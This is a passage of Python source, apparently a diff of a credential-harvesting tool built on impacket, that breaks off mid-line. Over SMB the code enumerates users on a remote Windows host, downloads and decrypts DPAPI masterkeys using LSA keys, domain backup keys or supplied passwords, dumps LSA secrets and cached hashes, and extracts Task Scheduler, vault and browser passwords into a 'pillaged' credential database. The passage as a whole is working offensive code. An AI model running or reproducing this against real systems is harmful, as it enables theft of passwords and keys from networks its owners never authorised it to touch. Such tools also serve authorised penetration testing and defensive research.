credz_path=localfile, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - self.logging.debug(info) - return info - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") - self.logging.debug(ex) - - def dump_CREDENTIAL_TASKSCHEDULER(self, user, localfile, decrypted_blob): - # from impacket.ese import getUnixTime - try: - self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file") - # self.logging.debug(decrypted_blob) - info = "\n" - info += f"[CREDENTIAL]\n" - try: - info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" - info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" - info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" - info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") - self.logging.debug(ex) - info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" - info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" - info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" - info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" - try: - info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" - password = decrypted_blob['Unknown3'].decode('utf-16le') - except UnicodeDecodeError: - info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" - password = decrypted_blob['Unknown3'].decode('latin-1') - ############PROCESSING DATA - self.db.add_credz(credz_type='taskscheduler', - credz_username=decrypted_blob['Username'].decode('utf-16le'), - credz_password=password, - credz_target=decrypted_blob['Target'].decode('utf-16le'), - credz_path=localfile, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - self.logging.debug(info) - return info - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") - self.logging.debug(ex) - - def process_decrypted_vault(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]): - try: - self.logging.debug( - f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}") - blob_type = secret_file['type'] - localfile = secret_file['path'] - data = secret_file['data'] - - if blob_type == 'vault' or blob_type == 'vcrd': - try: - vault_name = secret_file['vault_name'] # args[0] - vault_type = secret_file['vault_type'] # args[1] - self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ") - if vault_type == 'WinBio Key': - data = self.dump_VAULT_WIN_BIO_KEY(user, localfile, data) - self.logsecret(f"Vault {vault_name} : {data} ") - elif vault_type == 'NGC Local Account Logon Vault Credential': - data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user, localfile, data) - self.logsecret(f"Vault {vault_name} : {data} ") - elif "NGC" in vault_type: - data = self.dump_VAULT_NGC_ACCOOUNT(user, localfile, data) - self.logsecret(f"Vault {vault_name} : {data} ") - elif vault_type == 'Internet Explorer': - data = self.dump_VAULT_INTERNET_EXPLORER(user, localfile, data) - - # user.secrets["Vault:%s" % vault_name] = data - secret_file['secret'] = data - self.dump_to_file(localfile, data) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}") - self.logging.debug(ex) - - def dump_VAULT_INTERNET_EXPLORER(self, user, localfile, vault_blob): - try: - self.logging.debug("Formating VAULT_INTERNET_EXPLORER info") - retval = "[Internet Explorer]\n" - retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n" - retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n" - retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n" - ############PROCESSING DATA - self.db.add_credz(credz_type='browser-internet_explorer', - credz_username=f"{vault_blob['Username'].decode('utf-16le')}", - credz_password=f"{vault_blob['Password'].decode('utf-16le')}", - credz_target=f"{vault_blob['Resource'].decode('utf-16le')}", - credz_path=localfile, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [IE/EDGE Password] {bcolors.ENDC} for {vault_blob['Resource'].decode('utf-16le')} [ {bcolors.OKBLUE}{vault_blob['Username'].decode('utf-16le')} : {vault_blob['Password'].decode('utf-16le')}{bcolors.ENDC} ]") - return retval - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}") - self.logging.debug(ex) - - def dump_VAULT_WIN_BIO_KEY(self, user, localfile, vault_blob): - try: - self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file") - retval = "\n[WINDOWS BIOMETRIC KEY]\n" - retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical() - retval += f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n" - retval += f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n" - return retval - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}") - self.logging.debug(ex) - - def dump_VAULT_NGC_LOCAL_ACCOOUNT(self, user, localfile, vault_blob): - try: - self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file") - retval = "\n[NGC LOCAL ACCOOUNT]\n" - retval += 'UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"]) - retval += 'IV : %s\n' % hexlify(vault_blob["IV"]) - retval += 'CipherText : %s\n' % hexlify(vault_blob["CipherText"]) - return retval - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}") - self.logging.debug(ex) - - def dump_VAULT_NGC_ACCOOUNT(self, user, localfile, vault_blob): - try: - self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file") - retval = "\n[NGC VAULT]\n" - retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical() - retval += 'Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le') - # A completer ? - vault_blob['Blob'].dump() - - return retval - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}") - self.logging.debug(ex) - - def do_who(self): - # if self.loggedIn is False: - # self.logging.error("Not logged in") - # return - rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', - smb_connection=self.smb) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) - - for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: - self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % ( - session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], - session['sesi10_idle_time'])) - self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1]) - - def get_users(self): - self.logging.debug("Listing Users by enumerating directories in $Share\\Users") - blacklist = ['.', '..', 'desktop.ini'] - shares = self.myfileops.get_shares() - # Intégrer les users share du premier test - if 'C$' in shares: # Most likely - self.myfileops.do_use('C$') - # self.myfileops.pwd = 'Users' - completion = self.myfileops.do_ls('Users', '*', display=False) - for infos in completion: - longname, is_directory = infos - if is_directory and longname not in blacklist: - for user in self.users: - if longname == user.username: - break - else: - self.users.append(MyUser(longname, self.logging, self.options)) - self.logging.info( - f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}") - user = self.GetUserByName(longname) - self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) - user.share = 'C$' - else: - for share in shares: - self.myfileops.do_use(share) - # self.pwd = 'Users' - completion = self.myfileops.do_ls('Users', '*', display=False) - for infos in completion: - longname, is_directory = infos - if is_directory and longname not in blacklist: - for user in self.users: - if longname == user['username']: - break - else: - self.users.append(MyUser(longname, self.logging, self.options)) - self.logging.debug( - f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}") - user = self.GetUserByName(longname) - self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) - user.share = share - # +ADD LOCAL MACHINE ACCOUNT - user = MyUser("MACHINE$", self.logging, self.options) - user.type = 'MACHINE' - user.share = 'C$' - self.users.append(user) - self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) - return self.users - - def get_masterkeys(self): - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}") - blacklist = ['.', '..'] - # self.get_shares() - # self.get_users() - for user in self.users: - if user.username != 'MACHINE$': - try: - tmp_pwd = ntpath.join(ntpath.join('Users', user.username), 'AppData\\Roaming\\Microsoft\\Protect') - self.logging.debug( - f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd) - my_directory = self.myfileops.do_ls(tmp_pwd, '', display=True) - for infos in my_directory: - try: - longname, is_directory = infos - if longname not in blacklist: - self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys") - if is_directory and longname[:2] == 'S-': # SID - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}") - user.sid = longname - if user.sid.startswith('S-1-5-80'): - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}") - user.is_adconnect = True - # user.check_usertype() - tmp_pwd2 = ntpath.join(tmp_pwd, longname) - my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False) - for infos2 in my_directory2: - longname2, is_directory2 = infos2 - if not is_directory2 and is_guid(longname2): # GUID - self.download_masterkey(user, tmp_pwd2, longname2, type='USER') - elif is_directory: - self.logging.debug( - f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname) - else: - self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}") - self.logging.debug(ex) - continue - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}") - self.logging.debug(ex) - continue - ##MACHINE MASTERKEYS - try: - user = self.GetUserByName('MACHINE$') - # Make a "MACHINE$" user - """user=MyUser("MACHINE$",self.logging,self.options) - user.type='MACHINE' - self.users.append(user)""" - - tmp_pwd = 'Windows\\System32\\Microsoft\\Protect' # Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ? - self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd) - my_directory = self.myfileops.do_ls(tmp_pwd, '', display=False) - for infos in my_directory: - longname, is_directory = infos - if longname not in blacklist: - if is_directory and longname[:2] == 'S-': # SID - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}") - user.sid = longname - if user.sid.startswith('S-1-5-80'): - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}") - user.is_adconnect = True - tmp_pwd2 = ntpath.join(tmp_pwd, longname) - my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False) - for infos2 in my_directory2: - longname2, is_directory2 = infos2 - if longname2 not in blacklist: - if not is_directory2 and is_guid(longname2): # GUID - # Downloading file - self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE') - elif is_directory2 and longname2 == 'User': # On se limite a ca pour le moment - tmp_pwd3 = ntpath.join(tmp_pwd2, longname2) - my_directory3 = self.myfileops.do_ls(tmp_pwd3, '', display=False) - for infos3 in my_directory3: - longname3, is_directory3 = infos3 - if longname3 not in blacklist: - if not is_directory3 and is_guid(longname3): # GUID - self.logging.debug( - f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}") - # Downloading file - self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER') - else: - self.logging.debug( - "Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3)) - else: - self.logging.debug( - "Found unexpected file/directory %s in %s" % (tmp_pwd2, longname2)) - elif is_directory: - self.logging.debug("Found (not SID) Directory %s" % longname) - else: - self.logging.debug("Found file %s" % longname) - - except Exception as ex: - self.logging.error( - f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}") - self.logging.debug(ex) - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}") - - def download_masterkey(self, user, path, guid, type): - guid = guid.lower() - if is_guid(guid): - self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}") - # Downloading file - localfile = self.myfileops.get_file(ntpath.join(path, guid)) - # Get Type and hash - try: - myoptions = copy.deepcopy(self.options) - myoptions.sid = user.sid - myoptions.username = user.username - myoptions.pvk = None - myoptions.file = localfile # Masterkeyfile to parse - # myoptions.key = key.decode("utf-8") - mydpapi = DPAPI(myoptions, self.logging) - if self.options.GetHashes == True: - masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True) - else: - masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False) - except Exception as ex: - self.logging.error( - f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}") - self.logging.debug(ex) - try: - user.masterkeys_file[guid] = {} - user.masterkeys_file[guid]['path'] = localfile - user.masterkeys_file[guid]['status'] = 'encrypted' - if self.options.GetHashes == True: - user.masterkeys_file[guid]['hash'] = masterkey_hash - if is_domain_sid and user.username != 'MACHINE$': - type = 'DOMAIN' - user.type_validated = True - user.type = type # LOCAL,DOMAIN,MACHINE,MACHINE-USER - self.db.add_sid(username=user.username, sid=user.sid) - self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, - status=user.masterkeys_file[guid]['status'], - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - if self.options.GetHashes == True: - for hash in user.masterkeys_file[guid]['hash']: - self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid, - hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip) - except Exception as ex: - self.logging.error( - f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}") - self.logging.debug(ex) - - def get_masterkey(self, user, guid, type): - guid = guid.lower() - if guid not in user.masterkeys_file: - self.logging.debug( - f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") - return -1 - else: - self.logging.debug( - f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found") - if user.masterkeys_file[guid]['status'] == 'decrypted': - self.logging.debug( - f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") - return user.masterkeys_file[guid] - elif user.masterkeys_file[guid]['status'] == 'encrypted': - return self.decrypt_masterkey(user, guid, type, tested_type=[]) - - def decrypt_masterkey(self, user, guid, type='', tested_type=[]): - - self.logging.debug( - f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type}) - tested : {tested_type}") - guid = guid.lower() - if guid not in user.masterkeys_file: - self.logging.debug( - f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") - return -1 - localfile = user.masterkeys_file[guid]['path'] - - if user.masterkeys_file[guid]['status'] == 'decrypted': - self.logging.debug( - f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") - return user.masterkeys_file[guid] - else: - # if user.type_validated == True: - # type=user.type - if type == '': - type = user.type - - if 'MACHINE' in tested_type and 'MACHINE-USER' in tested_type and 'DOMAIN' in tested_type and 'LOCAL' in tested_type: - self.logging.debug( - f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} : All decryption type failed") - return -1 - - if type == 'MACHINE': - # Try de decrypt masterkey file - for key in self.machine_key: - self.logging.debug( - f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}") - try: - myoptions = copy.deepcopy(self.options) - myoptions.sid = None # user.sid - myoptions.username = user.username - myoptions.pvk = None - myoptions.file = localfile # Masterkeyfile to parse - myoptions.key = key.decode("utf-8") - mydpapi = DPAPI(myoptions, self.logging) - decrypted_masterkey = mydpapi.decrypt_masterkey() - if decrypted_masterkey != None and decrypted_masterkey != -1: - # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" ) - user.masterkeys_file[guid]['status'] = 'decrypted' - user.masterkeys_file[guid]['key'] = decrypted_masterkey - # user.masterkeys[localfile] = decrypted_masterkey - user.type = 'MACHINE' - user.type_validated = True - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") - self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, - status=user.masterkeys_file[guid]['status'], - decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - return user.masterkeys_file[guid] - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") - self.logging.debug(ex) - else: - # if user.type_validated == False: - tested_type.append('MACHINE') - self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type) - elif type == 'MACHINE-USER': - # Try de decrypt masterkey file - for key in self.user_key: - self.logging.debug( - f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid )) - try: - # key1, key2 = deriveKeysFromUserkey(tsid, userkey) - myoptions = copy.deepcopy(self.options) - myoptions.file = localfile # Masterkeyfile to parse - if user.is_adconnect is True: - myoptions.key = key.decode("utf-8") - myoptions.sid = user.sid - else: - myoptions.key = key.decode("utf-8") # None - myoptions.sid = None # user.sid - - myoptions.username = user.username - myoptions.pvk = None - mydpapi = DPAPI(myoptions, self.logging) - decrypted_masterkey = mydpapi.decrypt_masterkey() - if decrypted_masterkey != -1 and decrypted_masterkey != None: - # self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") - user.masterkeys_file[guid]['status'] = 'decrypted' - user.masterkeys_file[guid]['key'] = decrypted_masterkey - # user.masterkeys[localfile] = decrypted_masterkey - user.type = 'MACHINE-USER' - user.type_validated = True - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") - self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, - status=user.masterkeys_file[guid]['status'], - decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - return user.masterkeys_file[guid] - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") - self.logging.debug(ex) - else: - tested_type.append('MACHINE-USER') - if user.type_validated == False and not user.is_adconnect: - return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type) - if 'DOMAIN' not in tested_type: - return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type) - - elif type == 'DOMAIN' and self.options.pvk is not None: - # For ADConnect - if user.is_adconnect is True and 'MACHINE-USER' not in tested_type: - return self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type) - # Try de decrypt masterkey file - self.logging.debug( - f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}") - try: - myoptions = copy.deepcopy(self.options) - myoptions.file = localfile # Masterkeyfile to parse - myoptions.username = user.username - myoptions.sid = user.sid - mydpapi = DPAPI(myoptions, self.logging) - decrypted_masterkey = mydpapi.decrypt_masterkey() - if decrypted_masterkey != -1 and decrypted_masterkey != None: - # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey) - user.masterkeys_file[guid]['status'] = 'decrypted' - user.masterkeys_file[guid]['key'] = decrypted_masterkey - # user.masterkeys[localfile] = decrypted_masterkey - user.type = 'DOMAIN' - user.type_validated = True - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") - self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, - status=user.masterkeys_file[guid]['status'], - decrypted_with="DOMAIN-PVK", - decrypted_value=decrypted_masterkey, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - return user.masterkeys_file[guid] - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}") - # if user.type_validated == False: - tested_type.append('DOMAIN') - return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}") - self.logging.debug(f"exception was : {ex}") - # if user.type_validated == False: - tested_type.append('DOMAIN') - return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type) - # type==LOCAL - # On a des credz - if len(self.options.credz) > 0 and user.masterkeys_file[guid][ - 'status'] != 'decrypted': # localfile not in user.masterkeys: - self.logging.debug( - f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz") - for username in self.options.credz: - if username.lower() in user.username.lower(): # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ? - # self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}") - # for test_cred in self.options.credz[user.username]: - try: - self.logging.debug( - f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file") - myoptions = copy.deepcopy(self.options) - myoptions.file = localfile # Masterkeyfile to parse - # myoptions.password = self.options.credz[username] - myoptions.sid = user.sid - myoptions.pvk = None - myoptions.key = None - mydpapi = DPAPI(myoptions, self.logging) - decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username]) - if decrypted_masterkey != -1 and decrypted_masterkey != None: - # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") - user.masterkeys_file[guid]['status'] = 'decrypted' - user.masterkeys_file[guid]['key'] = decrypted_masterkey - # user.masterkeys[localfile] = decrypted_masterkey - user.type = 'LOCAL' - user.type_validated = True - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") - self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, - status=user.masterkeys_file[guid]['status'], - decrypted_with=f"Password:{self.options.credz[username]}", - decrypted_value=decrypted_masterkey, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - return user.masterkeys_file[guid] - else: - self.logging.debug( - f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list") - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list") - self.logging.debug(ex) - else: - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}") - tested_type.append('LOCAL') - if user.masterkeys_file[guid]['status'] == 'encrypted': - if 'DOMAIN' not in tested_type: - return self.decrypt_masterkey(user, guid, 'DOMAIN', tested_type=tested_type) - elif 'MACHINE' not in tested_type: - return self.decrypt_masterkey(user, guid, 'MACHINE', tested_type=tested_type) - elif 'MACHINE-USER' not in tested_type: - return self.decrypt_masterkey(user, guid, 'MACHINE-USER', tested_type=tested_type) - - # on a pas su le dechiffrer, mais on conseve la masterkey - '''if localfile not in user.masterkeys: - user.masterkeys[localfile] = None''' - if user.masterkeys_file[guid]['status'] == 'encrypted': - user.masterkeys_file[guid]['status'] = 'decryption_failed' - self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, - status=user.masterkeys_file[guid]['status'], decrypted_with='', - decrypted_value='', - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username=user.username) - return -1 - elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here - return user.masterkeys_file[guid] - - def test_remoteOps(self): - try: - # Remove logging - # logging.getLogger().setLevel(logging.CRITICAL) - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}") - - self.__remoteOps = MyRemoteOperations(self.smb, self.options.k, self.options.dc_ip) - self.__remoteOps.setExecMethod('smbexec') - self.__remoteOps.enableRegistry() - self.__bootKey = self.__remoteOps.getBootKey() - self.logging.debug(f"bootkey: {self.__bootKey}") - SECURITYFileName = self.__remoteOps.saveSECURITY() - self.logging.debug("savesecurity") - self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True, - history=True) - self.logging.debug("LSASecret") - self.__LSASecrets.dumpCachedHashes() - self.logging.debug("dump cached hashes") - self.__LSASecrets.dumpSecrets() - self.__LSASecrets.finish() - - filedest = os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), 'LSA') - Path(os.path.split(filedest.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True) - self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest}") - finalfile = self.__LSASecrets.exportSecrets(filedest) - self.logging.debug("ret file %s" % finalfile) - self.__LSASecrets.exportCached(filedest) - # Analyser les hash DCC2 pour un export massif. - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Except remoteOps LSA") - self.logging.debug(ex) - try: - tmp_filedest = filedest + '.secrets' - f = open(tmp_filedest, 'rb') - secrets = f.read().split(b'\n') - f.close() - for index, secret in enumerate(secrets): - if b'dpapi_machinekey' in secret: - self.logging.info( - f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}") - # print(secret.split(b'dpapi_machinekey:')[1]) - self.machine_key.append(secret.split(b'dpapi_machinekey:')[1]) - self.logging.debug(self.machine_key) - if b'dpapi_userkey' in secret: - self.logging.info( - f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : 